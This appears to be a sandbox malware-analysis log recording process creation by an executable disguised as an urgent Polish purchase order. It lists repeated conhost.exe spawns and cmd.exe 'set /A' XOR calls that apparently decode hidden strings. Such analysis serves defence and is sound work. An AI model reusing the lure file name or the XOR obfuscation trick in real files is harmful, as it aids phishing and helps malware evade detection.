            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
